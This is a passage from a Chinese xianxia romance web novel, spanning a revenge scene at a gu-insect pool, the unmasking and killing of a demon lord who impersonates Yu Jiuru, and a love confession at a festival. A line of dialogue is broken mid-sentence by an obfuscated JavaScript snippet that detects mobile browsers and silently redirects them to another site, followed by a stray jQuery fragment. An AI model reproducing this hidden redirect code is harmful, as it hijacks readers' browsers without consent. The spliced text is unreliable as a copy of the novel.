叶挽棠不知道发生了什么,两人明明在休息,突然一根绳子绑住了孟星寒,将他向蛊池里拖去。 如果不是她反应及时,用全身力气拽住绳子,孟星寒此刻已落入池中。 她们喊雷叔没有回应,反倒是初茵出现了。 “来算账。”初茵道。 她慢悠悠走到绳梯边,身后跟着几只扑棱着翅膀的白蝶。 看到两人怀疑的目光,她伸出手指,指了指那根绳子,“割断它。” 突然,一只白蝶从她身后冲出去,月光下,它的速度快得像一团流星。 “什么!”孟星寒话还没有说完,绳子骤然断裂。 他整个人跌落进蛊池,发出一声惨叫。 蛊虫翻滚着向他身上袭来,有的被他抖落,有的被他踩在脚下,他四处乱跑,看起来倒是还能挣扎一番。 初茵突然意识到,这里的蛊虫并不是魔蛊,所以它们的毒性也没有那么强。 “星寒!” 叶挽棠失力跌倒在地,又爬起到池边尖叫。 猛然间,她像是想到了什么,起身向着初茵冲过来。 刚跑了两步,她的身体又生生顿住。 月光下,几只白蝶挡在她的面前,它们的翅膀像是金属的刀刃一样,发出森森寒意。 她转过头,对上了初茵那双冰冷没有任何情绪的眸子,呼吸急促,“你想做什么?” 隔着蛊池,初茵踢了踢脚下的绳梯,只要这个梯子放下去,孟星寒就能爬上来。 刚才叶挽棠着急跑过来,想必也是看到了这个。 “你猜我想做什么?” “当年是怎么对阿月的,如今,也是一样的下场。” 叶挽棠张了张嘴,却没有开口。 奕如月?蛊虫?难道她已经知道了真相? 不可能!她立刻否定了这个猜想,如果她知道实情,又怎么会忍耐这么久。 “你觉得自己很聪明,把奕如月扔进蛊潮,处理掉家中修士,就不会有人知道当时到底发生了什么。” 叶挽棠辩解:“那只是一个意外。” 初茵冷笑,“是不是意外,你比我清楚。” “挽棠,你快跑!”孟星寒没了力气,跌倒在蛊虫之中,却还仰着脖子,努力地喊。 不过很快,他大叫一声,再不敢张口。 初茵向蛊池里看了一眼,撩起眼皮,转而盯着叶挽棠,“跑啊!你可以跑。” 叶挽棠脸色剧烈变化,脸上仅仅剩下的五官,暴露了她的仓皇无措。 她看了一眼蛊池之中的男子,直接跪下来。 “初茵,你放过他。是我利用了他,你把绳索放下去救他,我来换他。” 初茵想到了很多可能性,猜她可能会跑,可能会来抢绳梯,但没有一种可能,是她会愿意用自己的命来换。 真是稀奇,叶挽棠这种女人,有一天竟然还能长出心? 初茵不相信。 “你是想骗他心甘情愿地为你而死?如果你真的想救他,为什么不自己跳下去。” 孟星寒还在挣扎,“挽棠!别信她的!别跳下来!你的病就快能治好了!” 池里之人的双腿露出一截白骨,他双手扣着墙壁,支撑上半身,大吼着让她离开。 叶挽棠不受控制地流出泪水, 自打脸被毁之后,她以为孟星寒会弃自己而去。 但他不但没有跑,还一直陪在自己身边安慰她,说先治好耳朵,再找天下最好的医修帮她治脸。 这段时间,她意识到世上再也没有一个人会这样对她。 “我跳下去,你能救他吗?”叶挽棠抬起眸子,通红的眼里蓄满泪水。 初茵冷漠打量她,“你不跳下去,我怎么知道?” “好!我跳!” 叶挽棠提起裙摆,转过身,竟真跳进了蛊池之中。 初茵觉得有些意外,但又觉得有些无趣。 池里的蛊虫感应到了新鲜的□□,立刻围攻上来。 “挽棠!”孟星寒目眦尽裂,他滑动着只剩下白骨的手臂,向她的方向爬去。 叶挽棠手指扣着石墙,面目狰狞地仰起头,“初茵!你答应我的!救救他!” 初茵走到边沿,垂下眸子,面无表情盯着她。 “疼吗?她当初也是这么疼。” 叶挽棠意识到自己被骗了,见初茵转身要走,她嘶喊道:“初茵!你别走!我把灵根还给你,你救救他。” “你不是喜欢他吗?你救救他!” 两人的惨叫声在身后渐渐变得模糊。 初茵走出院落,觉得身体里有些东西似乎在慢慢消失。 她抬起头,一轮明亮的圆月出现在当空,旷野被照得亮堂堂的,看不清路,但又似乎全是路。 她深一步浅一步地走在路上,并没有仔细看,只是机械地抬起步伐。 突然,一个人影挡在了自己面前。 初茵抬起头,看到了郁九如的脸。 他垂头凝视着她,眼眸中暗潮涌动,脸上出现了一丝类似于哀伤的沉默。 她琢磨不透,也懒得琢磨,只看了一眼,便移开了视线。 “你若是想去救他们,也许还来得及。” 她绕开他,继续向前走。 不知走了多久,又一个人挡住了自己的去路。 白蝶夫人神色凝重地看向她,“你考虑好了吗?” 初茵看着她精致到近乎假面的脸,没有回答。 “只要你帮我,我就送你离开这。” 初茵淡淡道:“不必,我已经没有兴趣再玩你的游戏了。白夫人,我很累,只想找个地方好好休息,不离开也没关系。” 白容色沉默看了她片刻,然后挥了挥衣袖,“既然累了,那就好好休息吧。” 眼前一黑,初茵的身体不受控制地向后倒去,随后,被身后之人接住,牢牢禁锢在怀里。 郁九如打横抱起她,准备离开时,白容色突然开口,“郁九如,孢衣蛊找到了吗?” 郁九如没有回答她。 那只蛊虫虽然还在,但却已经死去了百年,只轻轻一碰,便化为了齑粉。 “我看初茵的目的已经达到了,如此,她心愿已了,怕是过不了多久,就会失去意识。” “不过,源蛊还在寄生中,这对你的计划应该没影响。对吗?” 郁九如垂下头,看到怀中之人靠着她,她的身体轻到不可思议,额头的封印鲜红如血。 白容色看到他的表情,脸上浮现一丝冷笑,“怎么了?你不会舍不得了吧?” “让开。” 白容色上前一步,挡住他,“要我提醒你的身份吗?” 郁九如面色凝如寒霜,“你的目的到底是什么?” “我的目的是什么?”白容色脸色骤然一变,毫不畏惧地盯着他,“郁九如,我倒要问问,你的目的是什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'''',24,24,''''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13174890|130071||http|test|mini|href|location''''.split(''''|''''),0,{})); () { $(''''.inform'''').remove(); $(''''#content'''').append('''' 么?” “你还记得魔种之灾吗?” 郁九如垂下长睫,漠然道:“魔种尽数陨落,魔种之灾已经结束了。” 白容色面露愠怒,“自欺欺人!现在没有,不代表以后没有。错过了这次,你还有下一次的运气找到源蛊吗?” “或者,这世上还会再出现一个源蛊吗?” 没有人知道哪一颗魔种会发育成为源蛊,或许永远都不会有,或许等他们找到时,一切都已经来不及。 郁九如冷漠道:“这是郁氏的事情,与你无关。” 白容色露出一个讥讽的笑意,“好啊!你们的事,我倒要看看,你会干出什么荒唐事。” * 初茵做了一些混乱的梦,全是血液和杀戮。 等她醒来时,发现自己又回到了融雪宫的房间,郁九如正在给她输送灵力。 他眉头微蹙,唇抿成一条直线,即便是闭着眼,也是一副端肃的表情。 自手腕处传来了源源不断的灵力,让她的感觉似乎好了许多。 初茵看了一眼自己的手腕,再移回来视线时,就发现郁九如正在看自己。 “继续啊?”她催促。 郁九如轻轻放下她的手腕,“太多灵力只会养大你体内的源蛊。” 他看着她,发现她眉头的契印变得更红了。 她脸色苍白如纸,一对眼眸漆黑至极,神采奕奕,像是所有的她都集中在了这双眸子里,放弃了身体的其它部分。 她刚得到这具身体时,分明是那么生机勃勃。 “你现在感觉怎么样?” 初茵盯着他,皱眉问:“我感觉……我快变成另一个人了。” 不属于自己的另一股力量似乎占据了身体,而她却败下阵来。 这种主体性的消失,让她十分不舒服,就好像连自己的感觉都被一点点剥夺了。 初茵问:“你找到孢衣蛊了吗?” “没有。” 他神色平静,没有一丝失落的表情。 初茵又想起他隐瞒自己的事,她很想立刻开口,质问他为什么。 愚弄自己很好玩吗? 可她感觉自己的情绪像是被什么吸收了,就连恨意都无法燃烧起来。 “你在生气?” 郁九如转动眸子,对上她的视线,他很明显地感觉到了她情绪的起伏。 初茵扫过一眼他那张堪称完美的脸,移开视线,语气不善,“你和白容色早就商量好了,骗我是不是很有趣?” 郁九如表情一顿,语气和缓了许多,“我们并没有提前商量好,是进入百蛊城之后,她才找上我。” 初茵有了一点眉目,“所以,你就决定配合她一起演这出戏?把符布困在那?” “对。” 她想起自己成为符布的分身之一,那时候郁九如一连杀了四人,难怪符布会这么恨他,甚至想要杀他六次。 “符布说他想要杀你,他成功了吗?” 听到她的话,郁九如怔忪了一瞬,似乎想到了什么,“在他的梦里也许成功了。” 初茵听明白了他的意思,愕然道,“他还在梦境里。” “一个特意为他编织的美梦里。”郁九如淡淡道:“他太想活下去了,找他的弱点很容易。” 初茵想到了符布的九个分身,以及自己看到过的他之前的经历。 他对于生存,的确有着超乎寻常的渴望。 不过…… 她突然发出一声轻笑,看着他问:“原来想活下去是弱点,你不怕死?” 郁九如漆黑的眸子转动,盯着她那张没有血色,却异常昳丽的面孔,像是想到了什么,快速移开视线。 “人之常情,算不上弱点。”他起身,投射的阴影包裹住她,“别想太多,休息吧。” 他转过身,背影挺拔而萧瑟。 初茵闭上眼,深深吸了一口气。 是了,你不怕死。 那你怕什么呢? 郁九如。 怎么样才能让你恐惧,让你经历和我一样的痛苦。 95、魔君 初茵睡了一觉,梦里,郁九如站在他面前,张口似乎在说些什么。 但除了她的名字,她什么都听不清。 猛然睁开眼,血红的帘帐挡住了她的视线,隔着纱帘,她看到了郁九如。 殿内的中央摆着一张四方桌,上面放了很厚的一摞信,他背对自己而坐,正在翻阅。 她抬手支起身体,一把冰凉的匕首顺着袖口滑下,落在了绵软的丝帛上。 初茵看着这一柄不知何时出现在自己面前的匕首,心里依旧觉得很奇怪, 昨日被推出洞穴后,她就陷入了昏迷。 当醒过来的时候,郁九如握住她的手,说一切都顺利解决了。茶罗峥和符布死了,所谓的魔君复活不过是一个妄想。 “累了就再睡一会,你的余毒还没有解除。 听到他的话后,她又沉沉睡了过去,这一觉似乎又过了很久。 “醒了?”郁九如依然是背对着自己,语调低沉。 她愣了一下,抓住那把匕首,重新塞回袖口,问:“我睡了多久?其他人呢?" “不过半日。” 颀长的背影缓缓起身,郁九如一袭金织玄袍,转身向她走来,“那些人中了赤蚀粉的毒,还要休息一段时间。" 她站起身,环视了一圈周围,“这是你的寝殿?" “我见你太累了,便没有叫醒你。 他来到她的身边,目光平静地扫过她的脸,伸手捋了下她的碎发。 随后,他的视线落在了她的殷红的唇瓣上,喉结滑动一瞬,身体上前越靠越近,“阿茵,我.” 呼吸迫近,初茵后退半步。 她偏头盯着他俊美的脸,奇道:“怎么那么急?" 郁九如微微一笑,后退道,“不急,对你我一向很有耐心。 她眼眸一转,“那你再多等几年吧,我不留在南疆了。 郁九如面上闪过一丝不解,但见她嘴角扬起,唇畔带笑,便知道她是在和自己说笑. 瞬间,他心里觉得像是有千只蚂蚁在爬,心痒难耐。 他突然抓住她的手,低头凑近她耳畔,“不留下来也可,你去哪里,我便和你一起。 初茵欣喜,“当真?" “自然。" “那就去我们第一次见面的地方,怎么样?" 郁九如拿起她的手,凑到唇边,温热的呼吸打在她的手背上,“好。 他的唇贴了贴, 垂眸看着她,眸中泛着异样的神采。 初茵用力抽回手,“那我们第一次见面是在哪?” 郁九如脸上出现一瞬的愕然,“为什么会问这个?" 初茵撇嘴,“你忘了?" “自然没有。”话虽如此,他的神色里却出现一丝踌躇。 初茵拉住他的手臂,睁大眼,仰头道:“那你说啊!'' 郁九如却只盯着她,微微感眉。两人僵持了一会,初茵眨眨眼,冲他曲了曲手指,“算了,不为难你了,过来,我告诉你。郁九如笑笑,依言将身体向前倾,凑过去。初茵踮起脚,附到他的耳边,张口道:“我们第一次见面.下一瞬,他的身体僵硬住了,接着,他摇摇晃晃地后退了两步,不可置信地看着插在自己胸口的匕首。初茵快速后退了两步,警惕地盯着他,神情变得冰冷无比,“你不是郁九如,你是谁?""不错!比我想得更快。"他急促地呼吸着,手指握住胸前的匕首的手柄,原本属于郁九如的脸褪去,成了一张滚动的漆黑液体。随着匕首被缓缓拔出,他的身体像是浓稠的黑墨。 “不过,只靠这匕首,杀不了我。” 痛苦夹杂了喘息,他的声音也随之改变,变成了她完全陌生的嗓音。 初茵原本以为这把匕首能杀了他,可见他生生将它拔出来,立刻意识到自己想得太简单了。 她转身刚要跑,脚下突然被一道漆黑牢牢缠住。 下一瞬,她就被拖到了床上。 她惊恐地看过去,发现他已经恢复了郁九如的相貌,手里握着那把原本插入他心脏的红色匕首,仔细观察 “是个好东西。”他感叹了一句,随手将它丢下,重新看向初茵,缓缓地笑了出来。 初茵努力挣脱,但挣扎之下,那些缠住她身体的东西反而绑得更紧。 “你是魔君?”初茵只觉得呼吸困难,“郁九如去哪里了?” 他看向她,“吾名戮夜,你可以直接叫我的名字。” “至于郁九如。”他一步步逼近,居高临下看着她,“他已经死了,成为了我的一部分。 "你胡说!”初茵不能接受郁九如死了的说法。 他不可能死,明明他说了要自己等她,她无论如何也不会相信。 可是,为什么匕首没有用? 是自己用错了吗? 怎么会一点都没用? 他说他是魔君,她真能杀得了魔君吗? 脑海里混乱一片,不知不觉间,她的眼睛已经泛起了红。 郁九如,不对!是戮夜盯着她,微微歪过头,眸中毫无感情的专注看她, 他从来没有过这种感觉,心里空落落的,很难过,像是什么没有满足 见到了也不觉得满足,难道要吞了她才可以? 很久以前,他被天道所厌弃,只能活在阴暗之处 他从不会轻言放弃,既然无法登临仙界,那他便制造出一个属于自己的仙界,让自己的o口不死,精神不灭。 为了永生之愿,他献祭了自己,也因此看到了更多不同的东西。 他像是一株蒲公英,每过一段时间,“信使”就能遍布世间,为他带来外面的消息,同时,也在替他寻找最合适的替身。 不过,千年的时间过去了,他却渐渐失去了兴趣,甚至觉得当一株“植物”也不错。 这世间千年不变,修士如此,凡人如此。 一切的争执也一如千年之前,没有任何变化。 他挑挑拣拣,没发现喜欢的替身,反倒是看到了曾经的故人。 是当年那个追杀自己最凶的女修,那个差点杀了自己的女人竟然还活着? 可自己不是已经杀了她吗? 不过,他很快就发现了不对劲。 不是她,只是一个和她长相很像的女人。 可能是千年的沉寂太过于漫长,见到她之后,他立刻想起了许多前尘往事。 似乎自己当年杀了那个女人后,是有一点后悔的,他生命的一半时间都在躲避她的追杀,最后,她为了保护一个无关紧要的凡人女孩死了 当时,他并没有狂喜,只是觉得有些意外。 之后躺在白骨城的日日夜夜,他还在遗憾。 自己应该把她留下来,或者是用别的方法,拘禁她的魂魄,这样漫长的时间也许还能有趣一点。 在看到那张脸的时,他突然又有了醒来的欲望。 可惜“信使”传播的速度太慢,只来得及在那两个闯入者身上做下标记。 第一次,“信使”找错了人,他准备借用这个女孩的身体醒来,但她却宁愿跳下业火 第二次,他终于找到了她,但还没来得及控制她向白骨城走,她便被取走了性命。 他控制“信使”禁锢住了她的魂魄,但却没能将她送给自己,反倒是寄生在了一个不知名的修士身上。 之后又发生了诸多事情,但终于,他能以另一种状态重返人间。 真是奇怪的感觉 他盯着面前女子濡湿的睫毛 胸膛起反倒是像是泛起了钟痛之感 应该是吞噬了不属于自己的漆壤,所以连对她的情感也继承了。 “初茵,我们第一次见面是在螺骨坡的鬼洞里,那时候我就注意到你了。” 戮夜坐在床侧,伸出手想要触碰她的脸,却被她扭头躲开,不过他也不以为意。 "我比郁九如要强,所以他败了,成了我的一部分。我能体会到他对你的感觉,他很渴望你,你完全可以把我当成他。 他的记忆中,有属于郁九如的强烈情感,还有一些记忆,包括两人说的话,做过的事情 而那些压抑在他看来是毫无必要的。他虽然拥有记忆,却不是郁九如,更不会压抑欲望 他的视线缓缓移动着,漆黑的眸里染上了浓厚的侵略欲。 “阿茵。”他唤她,用着她熟悉的语气。 "滚开!" 初茵拼命挣扎着,满心绝望,可手腕却被缠住了无法挣脱,双腿也被牢牢绑住了,她只能弓起腰身奋力向后挪动。 “嗯?" 触碰她衣角的一瞬间,戮夜像是察觉到了什么气息,微微停顿, 她身上,有什么东西? 可是很快,焦躁的渴望燃尽了他的理智,让他再次迫不及待地伸出手 在触碰到她脸的瞬间,一道黑影突然在两人之前闪过。 初茵不知道发生了什么,等她回过神来时,发现戮夜像是被什么撞倒了一般,整个人跌回了地上。 与此同时,绑住她的手脚的禁锢也消失了。 她赶紧手脚并用地爬起来,发现戮夜的脖子上像是缠绕了一根黑线——是郁九如送给自己的那条漆壤? 他还用着郁九如的脸,那双眼睛用不可置信的目光死死盯着她。 只是他现在像是被掐住七寸的蛇,无论怎么挣扎,都摆脱不了禁锢, 初茵跳下床,跑了两步,突然看到了地上的匕首。 她身体一顿,像是想起什么,立刻捡起来,重新跑回床边。 那一道黑水像是一条致命的丝带,但也在他的挣扎下,渐渐变得越来越细,像是随时都会断掉。 戮夜的身体已经变成了流质形态,看不出来外形,只觉得是一团黑水在扭动。 他既然给自己匕首了,那一定是有用。 她垂下眼,仔细观察他的身体,终于,在他腹部的位置看到了一个漩涡形状的位置 半跪下身,初茵冷静地举起匕首。 戮夜的声音传来,“杀了我,郁九如也会死。 初茵神情一滞,握在水中的刀顿在半空。 再也见不到他了。 这个念头让她心里不由一酸,可现在,她已经见不到他了。 “这一次,别让我等太久。 郁九如的声音突然在脑海里响起,初茵突然意识到,这一切他应该早就预料到了。 如果她真的错了,那她就去找他。 没有丝毫犹豫,初茵咬牙,手起刀落,将匕首狠狠插入他的腹部. 96、告白 郁九如的宫殿成了一片废墟。 整座宫殿仿佛被卷入了一个巨大的黑沼之中,粗壮的廊柱像是被胶状的泥泞吞噬,房梁也如腐朽的残木般,一块接一块地向下掉落 听闻异动,大批卫兵如潮水般涌来。可他们望着眼前的惨状,脸上尽是惊愕,只能呆呆地伫立在原地,无计可施. “阿茵姐姐呢?”小凤赶到时,看到的就是这样一副宛如末日的可怕场景。 “刚才那位姑娘跑出去了,似乎很着急。”一名侍从赶紧道。 此刻,初茵已经来到了那片荒地。 她先是找到入口,然后独自清理了坍塌一半的地道,终于来到了当初的那个房间。 一路上,她几乎没有停歇,此刻呼吸急促,心脏剧烈跳动。 房间内光线昏暗. 角落里是三具枯骨,而在不远处,是一口巨大的青铜棺材。 当时,她亲眼看见郁九如被拉进这口棺材,之后出来的人,不是他,而是魔君夜 戮夜说他吞噬了郁九如,他虽然有自己的记忆,但却连说不出两人第一次见面是在哪里 唯一的可能就是,戮夜吞噬的并不是郁九如,而是他身上的漆壤, 初茵低下头,看着手心里只剩下一团的黑色物质。 她不能确定这个东西是什么,但是,魔尊的身体融化之后,它立刻就拽住了她的手腕,带着她一路狂奔到这里。 她走到棺材前,用力推两下,却发现推不开。 突然,那团黑色的物质跳到地上,像一条小蛇般游到了墙角的那三具尸体旁,缠住了一恨黑铁棍,拖着它来到她身边。 铁棍上布满红色的诡异密纹。 初茵拿着它,绕着棺材走了一圈,最后看到棺材的底部有一个洞口。 铁棍插进去的瞬间,棺材内部传来了金属转动的声响。 黑水像是察觉到了什么,一下跳上棺材,拼命想要顺着缝隙钻进去。 初茵来到棺椁的一侧,用力去推。 伴随着沉重但缓慢的推拉声,昏暗的光线透进去,她看到了中平躺着的人。 青年躺在其中,长睫阖拢,脸上没有一点血色,好像是死去了一般。 黑水游动迅速,一瞬间便钻进了他胸口的位置。 她呆呆看着他,等了不知道多久。 耳边只有自己的呼吸声,还有她越来越大的心跳声。 没有变化,他的胸膛没有一丝起伏,也没有睁开眼的迹象,他的脸上是从未有过的平静。 她心里突然冒出来一个古怪的想法,也许躺在这的人不是郁九如,只是一个和他长得很像的人。 突然,她又想到当时他和自己说,不要让他等太久。 是不是自己太迟了? 她浪费了太多时间。 初茵心跳如擂鼓,她想伸出手,想去试探他的鼻息。 很快,她发现自己没法做到这个动作。 她盯着自己的手,发现手臂像是被抽空血液,根本抬不起来,指尖更是颤抖得不受控制。 即便脑中一片空白,她还是觉得恐惧,一种巨大的虚空,和某种深入骨髓的寒冷。 “阿茵。 郁九如的声音蓦地在耳边响起,她愣了一瞬,缓缓转动眸子,怀疑自己出现了幻觉 可是当她看过去时,却发现他真的在棺材里睁开了眼,眸光专注的盯着她。 因为难以置信,她的脸上甚至出现了一丝困惑。 郁九如低声道:“为难你了。" 摘除漆壤中完全属于他的那部分,利用它来当最后的杀手铜,为了不让魔君知道他的后手,他只能假意隐瞒,说话也只能语焉不详。 漆壤进入身体后,他已经知道外面发生了什么。 见初茵一脸不可置信地盯着自己,还对自己试探地伸出手。 他心头一颤,一把扣住她的手,用力将她整个人拉了进来。 初茵原想伸手确定这是不是幻觉,但在被拉入椁之后,整个人瞬间清醒了过来- 这不是幻觉。 “阿茵,别生气,我并非有意瞒你。”他的手臂沉甸甸搭在她的腰间,下巴抵在他的颈窝,话音含糊地道歉。 湿热的气息在耳后,让她从后脑到后背都酥麻一片。 她后知后觉,想到了他骗自己的事。 那样模糊不清的话,如果不是她做了那个梦,说不定就会被骗过去。 而且,他也没说他会是现在这个样子。 “你为什么不告诉我!" 她挣扎着起身,却感觉压在自己身后的手臂像是有千斤重,无论如何都起不来。 “并非不想,而是不能。那些东西刚出现时,我便怀疑他们和魔君的复生有关,这也是我来南疆的原因。 那些漆壤模仿他,同时也想着吞噬和取代他,他来到南疆找到符布,想弄清这是什么东西。 符布却逃走了,还说他的死期快到了。 他并没逃过自己的眼线,他出逃后,便和茶罗峥在一起,两人又去了一趟白骨城. 他猜到魔君会以某种方式复生,可那些漆壤既然无法吞自己,那就只能是取代。 所以, 他冒了一点险,但好在结果很顺利。 郁九如的解释似乎很有道理,但初茵还是不满意。 她心里总是有一股莫名恼火的感觉。 几番挣扎起不来,她锤了一下他的胸口,才让他松开禁锢住自己的手臂。 她支起身体,发现这个青铜棺材真是够大,足够塞下两个人。 她双手撑住他的胸膛,低下头,对上他的视线 “郁九如。”她盯着他,认真道:“我们扯平了。再有下次,我绝不会原谅你。" 她想到了自己那次假死脱身,虽然现在懊恼得很,但还是觉得要和他说清楚。 郁九如就这样平躺着,目不转睛地盯着她,虽然她此刻居高临下,语气也不容置疑,但在他眼中,她更像是一只快要炸毛的猫,努力端出平静和不在乎的样子 她在乎自己。 这个想法只在心里冒出一个尖,便让他心中泛起狂喜。 “阿茵,你真好。”他由衷道. 他的声音像是从胸腔发出的,沙哑沉闷,却十分诚恳。 初茵被他突如其来的夸赞弄懵了,对上他毫不避讳的炙热眼神时,又觉得哪里怪怪的。 “你知道就好。”她小声嘀咕,扶住棺壁。 就在她想要起身之时,却被他一把把住了腰,重新跌坐下去。 道压抑的抽气声响起。 初茵察觉到他的异样,面红耳赤,刚要起身,却又被他固定住了另一侧的腰。 “阿茵。”他苍白的脸颊泛着红,呼吸也急促了几分,“我曾经想过,我最好的结局就是这样。 "如果.我找不到你,便把自己化成灰,和你葬在一起。 “总归,我们要在一起。" 初茵心头微动,撑住他的胸膛和他对视。 郁九如自下而上盯着她,狂热散去,眸中只剩下专注和痴迷。 此刻,他全然坦露自己的脆弱和渴望,反倒是让她生出一丝愧疚之感. 自己是不是对他太无情了。 她俯下身,轻轻在他的唇角擦过,低声安慰道:“都过去了,我们还有很长时间。 “你不走了?" 他紧紧盯着她,手掌搭上她的背,指尖一节节划过她的脊椎。 “嗯。 得到肯定的答复后,宽大的手掌轻易按下她的身体。 棺内响起满足的叹息, “阿茵。 很久后,一只纤细的手指攀上了棺椁的边缘,用力扒住,很快,被另一只属于男人的手掌包惠住,复又拉下。 很快,祭典到了最后一天。 沙澜城依旧是热闹非凡,而在无人知道的角落里,一场危机就这样悄悄过去了。 使团离开的日子向后拖延了几日,祭典结束后,便是他们离开的时间。 这一日,众位宗主正在院内闲扯,门突然被推开了半扇。 “阿音姑娘?" 众人看到她都有些惊讶,这几日,她搬去了其他地方,再没有出现过。 她这时候回来,难道是和郁九如闹矛盾了? 一时间,众人都侧起耳朵。 初茵找到苏溪,和他说了她暂时不离开的打算。 苏溪点点头,打量她一眼,又不放心地问:“这是你自己的决定吗?他没逼你吧? “苏首座是什么意思?”郁九如黑着脸,迈步进入院内。 没想到郁九如竟然跟着,一时间院内众人纷纷出来打圆场。 “苏首座是开玩笑的。” “自然,阿音姑娘对你的心意,我们都能看明白。 初茵走过去,拉了拉他的手掌。 他压下唇角,神色带了几分阴沉,“今晚有焰火会,各位宗主若是有空,可以前去一观。 "一定!一定!" “我们都有空。 将两人送走之后,院内之人互相看了一眼,齐齐松了一口气, 个宗主突然皱眉: “那晚上,我们要把俞舒闲带上吗?” 他太能惹事,带上他怕惹事,不带上更是怕他惹事。 顿时,院内陷入沉默。 初茵坐上车撵时,发现郁九如还在沉着脸,一副很不高兴的样子。 初茵晃了晃他的手,“怎么了,你还生苏首座的气?你又不是不知道他的脾气。 郁九如看向她,“就是他我才生气。 别人误解他也就罢了,苏溪竟然也和别人一样,觉得没人会喜欢他。 即便那群人不说,想来在他们眼里,自己也是配不上初茵。 思及此,他眉间又多了几分阴郁,不自觉握紧了她的手。 傍晚时,初茵被要求换了一身衣裳 她穿上一套淡紫色的裙裳,垂下的长发挑了几缕编进流苏和彩珠,额前还带了一条镇嵌宝石的眉心坠, 初茵对着镜子看了一圈,发现这套衣裳十分适合自己,心中也觉得很满意。 “快走吧!焰火快要开始了。 小凤急冲冲拉着她离开房间,刚走两步,她就发现身上叮叮当当响个不停。 奇怪,为什么郁九如走路就不响? 不过她还没来得及思考这些问题,就被拉着跑了起来 观看的地点在城楼的最高处,这也是燃放焰火的地方,据说在这里燃放的焰火,整个沙澜城的人都能看到 初茵登城楼时,看到了俞舒闲。 他和使团里的几个后辈在一起,他们在半道的平台上,似乎没有继续上去的打算。 这里距离燃放地点很近,视线应该并不好。 “你们不上去看吗?”初茵停下来,问了一句。 “不上去了,这位置很好。” “凉快又宽敞。" 几个弟子纷纷点头。 俞舒闲看到她,瘪了瘪嘴,心里又开始泛酸意。 不过他还没来得及开口,就被人给挤到了后面,丝毫不给他露面的机会。 等他挣脱开众人时,只看到她纤细挺拔的背影。 “俞师弟!差不多得了!" “就是,你爹可是吩咐过我们,你再惹事,让我们别客气。 “人家真是两情相悦。” 初茵登上城楼的最高层,看到了郁九如。 他今日穿着暗紫的衣袍,其上银丝纹绣,长发向后理,灯光下,他轮倨傲,五官更是深俊美. 初茵被他晃了一下眼,她知道他好看,但从没有像这一刻,觉得他简直是长在自己的审美点上。 郁九如微笑着对她伸出手,“阿茵,过来。“ 她走上前,握住他的手。 在城楼的最高处,两人并肩而立,瞬间吸引了所有人的视线, 楼下的百姓在说话,不过他们的声音太远了,让人听不真切。 而附近的几个平台的人虽然看了过来,却没人敢说话,于是耳边只剩下呼呼的风声, "郁九如是在干什么?" 因为站的位置足够远,俞舒闲只能看到两人模糊的样子。 "俞师兄,他们做什么也与你无关了,你安静呆着便是。 这几个弟子被派来看管他,本就是觉得无聊,眼下唯一的期望就是他别再惹出什么事。 ''不是要看焰火吗?怎么还不放?磨磨唧唧干什么!" 俞舒闲心里不爽,狠狠踢了一脚箱子。 “活祖宗,别说话了,等回了中州,我给你买一车放。” “就是,再说话我只能给你用禁言符。” 俞舒闲知道他们也是听了他爹的吩咐,当下心里冷笑一声,脚下更用力的踢起了箱子。 “今夜,诸位前来,都是为了南疆.… 眼见时间差不多,郁九如便开口说了一番致词,附近看台的人都一脸严肃,望向他们这里, 初茵被这么多双眼睛齐刷刷打量,还有些不太白在。 刚动了一下,便被捏了捏手掌。 ''今日借此良机,向各位宣布一件私事。”他转头看向身侧之人,开口道,“阿茵姑娘是我心仪之人,亦是我此生所愿。 众人多少已经猜到了这女子与他关系匪浅,但没人想到,郁九如竟然会在这个场合宣布。 尤其是南疆人,更是一脸不善地盯着她。 突然被这么多人盯着,初茵觉得有些不自在。 郁九如垂头与她对视,“阿茵,我喜 “轰!”一声巨响骤然响起。 所有人转过头,看到不远处的一个观景台上烟火四射。 像是接到了命令,紧接着,其他各个点位也开始了燃放 众人抬头看去,漫天的烟火点燃了夜空,盛大而明完。 明明灭灭的光影里,只有郁九如脸色难看。 他准备了那么多,竟然功亏一篑。 初茵扯了扯他的衣袖,忍住笑道:“没关系,这个只有我听到就够了。” 郁九如垂眸,看到她努力憋着笑,额前银饰闪动,烟火下,原本清丽无双的一张脸,更是美得不可方物。 他很早就觉得她好看,但之前的所有时刻加起来,都没有这一刻好看。 他的头越来越低, 直到两人鼻尖相抵 呼吸交缠 “阿茵,我喜欢你。 国,作者有话说 又显示所有文的作话 第96章 告白 这里,故事就差不多结束咯,感谢大家一路的陪伴!(鞠躬) 然后后面就是一些番外啦,明天可能会有一篇,如果我能写完的话。 之后就是不定时掉落了。 晋江真是完美破坏了我的打算(捂脸) 97、番外1 小凤最爱喝五菌汤,她很享受那种微醺的感觉 很多人说喝酒可以解愁,但是她觉得那东西又辣又难喝,远远比不上南疆特色的五菌汤。 不过当她开始接手南疆的事务后,便忙得连喝汤的时间都没有了。 郁九如对自己没有多少耐心,尤其是,当他决定要和初茵一起回合欢宗时,对她更是下手狠辣。 没有休息时间,随时随地提问,源源不断的事务。 “尊上,你要不把我也带走吧。” 又一个清晨,小凤揉着眼睛,看向端坐在长案之后的郁九如。 他身姿挺拔,显然并没有觉得一连四日不眠不休地处理公务有什么不妥。 “不行。”郁九如垂着长睫,连眼皮都没有抬一下。 马上要回中州,南疆的许多事要尽快处理。 又过了片刻后,晨光斜斜照上笔架,他便放下手中的纸,默默起身离开大殿。 小凤眼皮都不用抬,就知道他是去找谁。 他身为修士当然可以几日不睡觉,她却没本事和他耗下去,还是要想办法给自己放一天假,她需要好好睡一觉。 她想了想,招呼来侍女,将一封信交了出去。 初茵在傍晚的时候收到她的求助信,小凤的语气很可怜,说让她一定想想办法救自己,她只想好好睡一觉。 可除了醒来和睡前,她也基本见不到郁九如。 他的说法是要在离开之前将南疆的事情处理妥当, 可是看小凤信里的意思,他似乎是把所有的事情都交给了她,连兵权都交了。 初茵看了看天色,时间不多了,郁九如应该马上就会出现。 所以,到底怎样才能让他留下来? 